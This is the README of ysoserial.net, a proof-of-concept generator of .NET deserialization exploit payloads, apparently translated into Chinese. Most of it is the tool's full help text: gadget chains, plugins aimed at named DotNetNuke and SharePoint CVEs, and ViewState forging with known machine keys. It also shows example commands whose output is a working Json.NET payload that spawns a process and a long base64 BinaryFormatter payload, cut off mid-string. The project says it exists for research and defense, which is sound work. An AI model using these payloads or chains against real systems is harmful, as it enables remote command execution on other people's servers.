pwntester/ysoserial.net
GitHub: pwntester/ysoserial.net
针对多种 .NET 格式化器的反序列化漏洞 payload 生成工具,内置丰富的 gadget chain 和专项利用插件。
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## 

[](https://dev.azure.com/alvaro0002/ysoserial.net/_build/latest?definitionId=1&branchName=v2)
[](https://github.com/pwntester/ysoserial.net/releases/latest)
[](LICENSE.txt)


这是一个用于生成 payload 的概念验证工具,旨在利用不安全的 .NET 对象反序列化漏洞。
## 描述
ysoserial.net 是一个实用程序集合,包含在常见 .NET 库中发现的面向属性编程的 "gadget chains"。在适当的条件下,它可以利用执行不安全对象反序列化的 .NET 应用程序。主驱动程序接受用户指定的命令,将其包装在用户指定的 gadget chain 中,然后将这些对象序列化到 stdout(标准输出)。当 classpath 上具有所需 gadget 的应用程序不安全地反序列化此数据时,该 chain 将自动被调用,并导致在应用程序主机上执行该命令。
需要注意的是,漏洞在于执行不安全反序列化的应用程序本身,而不在于 classpath 上存在 gadgets。
本项目的灵感来源于 [Chris Frohoff 的 ysoserial 项目](https://github.com/frohoff/ysoserial)
## 免责声明
本软件的创建纯粹是为了学术研究和开发有效的防御技术,并非意在未经明确授权的情况下用于攻击系统。项目维护者不对软件的滥用负责或承担责任。请负责任地使用。
本软件属于个人项目,与任何公司无关,包括项目所有者和贡献者的雇主。
## 安装
为了获得最新版本,建议从 [Actions 页面](https://github.com/pwntester/ysoserial.net/actions) 下载。
你可以从 [发布页面](https://github.com/pwntester/ysoserial.net/releases) 安装 YSoSerial.NET 的先前版本。
## 从源代码构建:
```
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
choco install visualstudio2022community --yes
choco install visualstudio2022-workload-nativedesktop --yes
choco install choco install msbuild.communitytasks --yes
choco install nuget.commandline --yes
choco install git --yes
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
nuget restore ysoserial.sln
msbuild ysoserial.sln -p:Configuration=Release
.\ysoserial\bin\Release\ysoserial.exe -h
```
## 用法
```
$ ./ysoserial.exe --fullhelp
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
== GADGETS ==
(*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored]
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Not bridge but derived
Extra options:
--var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator
[default], 2 -> use
TextFormattingRunPropertiesMarshal
(*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class]
Formatters: BinaryFormatter (2), LosFormatter, SoapFormatter
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (default), 2 (shorter but may not
work between versions)
(*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter (2), LosFormatter, SoapFormatter
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (default), 2 (shorter but may not
work between versions)
(*) AxHostState
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) BaseActivationFactory [Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)]
Formatters: Json.NET
Labels: Not bridge or derived, .NET 5/6/7, Requires WPF enabled or PresentationFramework.dll
(*) ClaimsIdentity
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived, OnDeserialized
Supported formatter for the bridge: BinaryFormatter
(*) ClaimsPrincipal
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
Supported formatter for the bridge: BinaryFormatter
(*) DataSet
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) DataSetOldBehaviour [This gadget targets an old behavior of DataSet which uses XML format]
Formatters: BinaryFormatter, LosFormatter
Labels: Bridge and derived
Supported formatter for the bridge: LosFormatter
Extra options:
--spoofedAssembly=VALUE
The assembly name you want to use in the
generated serialized object (example: 'mscorlib')
(*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter, LosFormatter
Labels: Bridge and derived
Extra options:
--spoofedAssembly=VALUE
The assembly name you want to use in the
generated serialized object (example: 'mscorlib')
(*) DataSetTypeSpoof [A more advanced type spoofing that can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget]
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) GenericPrincipal
Formatters: BinaryFormatter, LosFormatter
Labels: Bridge and derived, OnDeserialized, SecondOrderDeserialization
Supported formatter for the bridge: BinaryFormatter
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1 (uses serialized ClaimsIdentities), 2
(uses serialized Claims)
(*) GetterCompilerResults [Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework if System.CodeDom is available. DLL path delivered with -c argument]
Formatters: Json.NET
Labels: Chain of arbitrary getter call and not derived gadget, Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework if System.CodeDom is available
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget (may load DLL
twice)
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) GetterSecurityException
Formatters: Json.NET
Labels: Chain of arbitrary getter call and derived gadget
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget (may execute
code twice)
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) GetterSettingsPropertyValue
Formatters: Json.NET, MessagePackTypeless, MessagePackTypelessLz4, Xaml
Labels: Chain of arbitrary getter call and derived gadget
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
getter-call gadget. Choices:
1 (default) - PropertyGrid getter-call gadget,
2 - ComboBox getter-call gadget (may execute
code twice)
3 - ListBox getter-call gadget
4 - CheckedListBox getter-call gadget
(*) ObjectDataProvider
Formatters: DataContractSerializer (2), FastJson, FsPickler, JavaScriptSerializer, Json.NET, MessagePackTypeless, MessagePackTypelessLz4, SharpSerializerBinary, SharpSerializerXml, Xaml (4), XmlSerializer (2), YamlDotNet < 5.0.0
Labels: Not bridge or derived
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1, 2, 3, ... based on formatter.
--xamlurl=VALUE This is to create a very short payload when
affected box can read the target XAML URL e.g.
"http://b8.ee/x" (can be a file path on a shared
drive or the local system). This is used by the
3rd XAML payload which is a ResourceDictionary
with the Source parameter. Command parameter
will be ignored. The shorter the better!
(*) ObjRef
Formatters: BinaryFormatter, LosFormatter, ObjectStateFormatter, SoapFormatter
Labels: Not bridge or derived
(*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)]
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Not bridge but derived
(*) ResourceSet
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)
Extra options:
--ig, --internalgadget=VALUE
The numerical internal gadget choice to use:
1=TypeConfuseDelegate,
2=TextFormattingRunProperties (default: 1
[TypeConfuseDelegate])
(*) RolePrincipal
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) SessionSecurityToken
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) SessionViewStateHistoryItem
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: LosFormatter
(*) TextFormattingRunProperties [This normally generates the shortest payload]
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Not bridge but derived
Extra options:
--xamlurl=VALUE This is to create a very short payload when
affected box can read the target XAML URL e.g.
"http://b8.ee/x" (can be a file path on a shared
drive or the local system). This is used by the
3rd XAML payload of ObjectDataProvider which is
a ResourceDictionary with the Source parameter.
Command parameter will be ignored. The shorter
the better!
--hasRootDCS To include a root element with the
DataContractSerializer payload.
(*) ToolboxItemContainer
Formatters: BinaryFormatter, LosFormatter, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) TypeConfuseDelegate
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
Labels: Not bridge or derived
(*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono]
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
Labels: Not bridge or derived
(*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)]
Formatters: BinaryFormatter (3), DataContractSerializer (2), Json.NET (2), LosFormatter (3), NetDataContractSerializer (3), SoapFormatter (2)
Labels: Bridge and derived, Not in GAC
Supported formatter for the bridge: BinaryFormatter
Extra options:
--var, --variant=VALUE Payload variant number where applicable.
Choices: 1, 2, or 3 based on formatter.
(*) WindowsIdentity
Formatters: BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
Supported formatter for the bridge: BinaryFormatter
(*) WindowsPrincipal
Formatters: BinaryFormatter, DataContractJsonSerializer, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Bridge and derived
(*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use a semicolon to separate the file from any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter
Labels: Not bridge but derived
Extra options:
--var, --variant=VALUE Choices: 1 -> use TypeConfuseDelegateGenerator
[default], 2 -> use
TextFormattingRunPropertiesMarshal
(*) XamlImageInfo [Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML from file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll]
Formatters: Json.NET
Labels: Not bridge but derived, Variant 1 in GAC, Variant 2 not in GAC
Extra options:
--var, --variant=VALUE Variant number. Variant defines a different
Stream delivery class. Choices:
1 (default and GAC) - LazyFileStream for Stream
delivery, file path has to be provided for -c
argument (UNC or local)
2 (non-GAC, requires Microsoft.Web.Deploymen-
t.dll) - ReadOnlyStreamFromStrings for Stream
delivery, command to execute can be provided for
-c argument
== PLUGINS ==
(*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
Options:
-c, --command=VALUE the command to be executed.
-u, --url=VALUE the url passed to Activator.GetObject.
-s if TCPChannel security should be enabled.
(*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
Options:
-M, --mode=VALUE the payload mode: HttpStaticObjectsCollection or
SessionStateItemCollection. Default:
HttpStaticObjectsCollection
-o, --output=VALUE the output format (raw|base64).
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) ApplicationTrust (Generates XML payload for the ApplicationTrust class)
Options:
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) Clipboard (Generates payload for DataObject and copies it into the clipboard - ready to be pasted in affected apps)
Options:
-F, --format=VALUE the object format: Csv, DeviceIndependentBitmap,
DataInterchangeFormat, PenData, RiffAudio,
WindowsForms10PersistentObject, System.String,
SymbolicLink, TaggedImageFileFormat, WaveAudio.
Default: WindowsForms10PersistentObject (the
only one that works in Feb 2020 as a result of
an incomplete silent patch - will not be useful
to target text-based fields anymore)
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Options:
-m, --mode=VALUE the payload mode: read_file, write_file,
run_command.
-c, --command=VALUE the command to be executed in run_command mode.
-u, --url=VALUE the url to fetch the file from in write_file
mode.
-f, --file=VALUE the file to read in read_file mode or the file
to write to in write_file_mode.
--minify Whether to minify the payloads where applicable
(experimental). Default: false
(*) GetterCallGadgets (Implements arbitrary getter call gadgets for .NET Framework and .NET 5/6/7 with WPF enabled, run with -l for more help)
Options:
-l prints list of implemented gadgets
-i, --inner=VALUE file containing inner-gadget
-g, --gadget=VALUE gadget to use
-m, --member=VALUE getter to call (required for some gadgets)
-t test gadget (execute)
--minify minify gadget
(*) MachineKeySessionSecurityTokenHandler (Generates XML payload for the MachineKeySessionSecurityTokenHandler class)
Options:
-c, --command=VALUE the command to be executed e.g. "cmd /c calc"
-t, --test In this scenario, the test mode should not be
applied, as the sink point relies on the web
environment. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
--vk, --validationkey=VALUE
Enter the validationKey from the web.config
--ek, --decryptionkey=VALUE
Enter the decryptionKey from the web.config
--va, --validationalg=VALUE
Enter the validation from the web.config.
Default: HMACSHA1. e.g:
HMACSHA1/HMACSHA256/HMACSHA384/HMACSHA512
--da, --decryptionalg=VALUE
Enter the decryption from the web.config.
Default: AES. e.g: AES/DES/3DES
(*) NetNonRceGadgets (Implements Non-RCE gadgets for .NET Framework)
Options:
-l prints list of implemented gadgets
-i, --input=VALUE input to the gadget
-g, --gadget=VALUE gadget to use
-f, --formatter=VALUE Formatter to use
-t test gadget (execute after generation)
--minify minify gadget
(*) Resx (Generates RESX and .RESOURCES files)
Options:
-M, --mode=VALUE the payload mode: indirect_resx_file,
CompiledDotResources (useful for CVE-2020-0932
for example), BinaryFormatter, SoapFormatter.
-c, --command=VALUE the command to be executed in BinaryFormatter
and CompiledDotResources. If this is provided
for SoapFormatter, it will be used as a file for
ActivitySurrogateSelectorFromFile
-g, --gadget=VALUE The gadget chain used for BinaryFormatter and
CompiledDotResources (default:
TextFormattingRunProperties).
-F, --file=VALUE UNC file path location: this is used in
indirect_resx_file mode.
--of, --outputfile=VALUE
a file path location for CompiledDotResources to
store the .resources file (default: payloa-
d.resources)
-t, --test Whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
Options:
-c, --command=VALUE the command to be executed e.g. "cmd /c calc"
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) SharePoint (Generates payloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421)
Options:
--cve=VALUE the CVE reference: CVE-2020-1147 (result is safe
for a POST request), CVE-2019-0604, CVE-2018-8421
--useurl to use the XAML url rather than using the direct
command in CVE-2019-0604 and CVE-2018-8421
-g, --gadget=VALUE a gadget chain that supports LosFormatter for
CVE-2020-1147. Default: TypeConfuseDelegate
-c, --command=VALUE the command to be executed e.g. "cmd /c calc" or
the XAML url e.g. "http://b8.ee/x" to make the
payload shorter with the `--useurl` argument
(*) ThirdPartyGadgets (Implements gadgets for 3rd Party Libraries)
Options:
-l prints list of implemented gadgets
-i, --input=VALUE input to the gadget
-g, --gadget=VALUE gadget to use
-f, --formatter=VALUE formatter to use
-r removes version and pubkeytoken from types, it
may be useful when we do not know the version of
targeted library or require a short payload
-t test gadget (execute after generation)
--minify minify gadget
(*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
Options:
-c, --command=VALUE the command to be executed
-t, --test whether to run payload locally. Default: false
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
(*) ViewState (Generates a ViewState using known MachineKey parameters)
Options:
--examples Show a few examples. Other parameters will be
ignored.
--dryrun Create a valid ViewState without using an
exploit payload. The gadget and command
parameters will be ignored.
-g, --gadget=VALUE A gadget chain that supports LosFormatter.
Default: ActivitySurrogateSelector.
-c, --command=VALUE The command suitable for the used gadget (will
be ignored for ActivitySurrogateSelector).
--rawcmd Command will be executed as is without `cmd /c `
being appended (anything after the first space
is an argument).
-s, --stdin The command to be executed will be read from
standard input.
--usp, --unsignedpayload=VALUE
The unsigned LosFormatter payload (base64
encoded). The gadget and command parameters will
be ignored.
--isfileusp Indicates that the unsigned payload contains a
file name (e.g., payload.txt).
--vsg, --generator=VALUE
The __VIEWSTATEGENERATOR value in HEX, useful
for .NET <= 4.0. When not empty, 'legacy' will
be used and 'path' and 'apppath' will be ignored.
--path=VALUE The target web page. Example: /app/folder1/pag-
e.aspx.
--pathisclass Indicates that the path is a class name and
should not be modified.
--apppath=VALUE The application path. Needed to simulate
TemplateSourceDirectory.
--islegacy Use the legacy algorithm suitable for .NET 4.0
and below.
--isencrypted Use when the legacy algorithm is used to bypass
WAFs.
--vsuk, --viewstateuserkey=VALUE
Sets the ViewStateUserKey parameter, sometimes
used as the anti-CSRF token.
--da, --decryptionalg=VALUE
The encryption algorithm can be set to DES, 3DE-
S, or AES. Default: AES.
--dk, --decryptionkey=VALUE
The decryptionKey attribute from machineKey in
the web.config file.
--va, --validationalg=VALUE
The validation algorithm can be set to SHA1,
HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
or AES. Default: HMACSHA256.
--vk, --validationkey=VALUE
The validationKey attribute from machineKey in
the web.config file.
--showraw Stop URL-encoding the result. Default: false.
--minify Minify the payloads where applicable
(experimental). Default: false.
--ust, --usesimpletype Remove additional info only when minifying and
FormatterAssemblyStyle=Simple. Default: true.
--isdebug Show useful debugging messages.
Note: Machine authentication code (MAC) key modifier is not being used for LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.
Usage: ysoserial.exe [options]
Options:
-p, --plugin=VALUE The plugin to be used.
-o, --output=VALUE The output format (raw|base64|raw-
urlencode|base64-urlencode|hex).
-g, --gadget=VALUE The gadget chain.
-f, --formatter=VALUE The formatter.
-c, --command=VALUE The command to be executed.
--rawcmd Command will be executed as is without `cmd /c `
being appended (anything after first space is an
argument).
-s, --stdin The command to be executed will be read from
standard input.
--bgc, --bridgedgadgetchains=VALUE
Chain of bridged gadgets separated by comma (,).
Each gadget will be used to complete the next
bridge gadget. The last one will be used in the
requested gadget. This will be ignored when
using the searchformatter argument.
-t, --test Whether to run payload locally. Default: false
--outputpath=VALUE The output file path. It will be ignored if
empty.
--minify Whether to minify the payloads where applicable.
Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple
(always `true` with `--minify` for binary
formatters). Default: true
--raf, --runallformatters
Whether to run all the gadgets with the provided
formatter (ignores gadget name, output format,
and the test flag arguments). This will search
in formatters and also show the displayed
payload length. Default: false
--sf, --searchformatter=VALUE
Search in all formatters to show relevant
gadgets and their formatters (other parameters
will be ignored).
--debugmode Enable debugging to show exception errors and
output length
-h, --help Shows this message and exit.
--fullhelp Shows this message + extra options for gadgets
and plugins and exit.
--credit Shows the credit/history of gadgets and plugins
(other parameters will be ignored).
--runmytest Runs that `Start` method of `TestingArenaHome` -
useful for testing and debugging.
```
*注意:* 当指定复杂的命令时,转义某些特殊字符(;、|、&、..)可能会很繁琐。使用 stdin 选项 从 stdin 读取命令:
```
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
```
*注意:* XmlSerializer 和 DataContractSerializer 格式化程序生成一种包装 Xml 格式,在根节点的 "type" 属性中包含预期类型,例如在 DotNetNuke 中使用的格式。你可能需要根据 XmlSerializer 在你具体情况下的预期类型来修改生成的 xml。
## 插件
Ysoserial.Net 可用于生成原始 payload 或使用插件架构生成更复杂的 payload。要使用插件,请使用 `-p ` 后跟插件选项(ysoserial.net 的其余选项将被忽略)。例如:
```
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
```
有关插件选项的更多帮助,请使用 `-h` 以及 `-p `。例如:
```
$ ./ysoserial.exe -h -p DotNetNuke
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
Plugin:
DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Options:
-m, --mode=VALUE the payload mode: read_file, write_file, run_command.
-c, --command=VALUE the command to be executed in run_command mode.
-u, --url=VALUE the url to fetch the file from in write_file mode.
-f, --file=VALUE the file to read in read_file mode or the file to write to in write_file_mode.
--minify Whether to minify the payloads where applicable (experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true
```
## 示例
### 使用 *ObjectDataProvider* gadget 为 Json.Net 生成 **calc.exe** payload。
```
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/ccalc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
### 使用 *PSObject* gadget 为 BinaryFormatter 生成 **calc.exe** payload。
```
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4m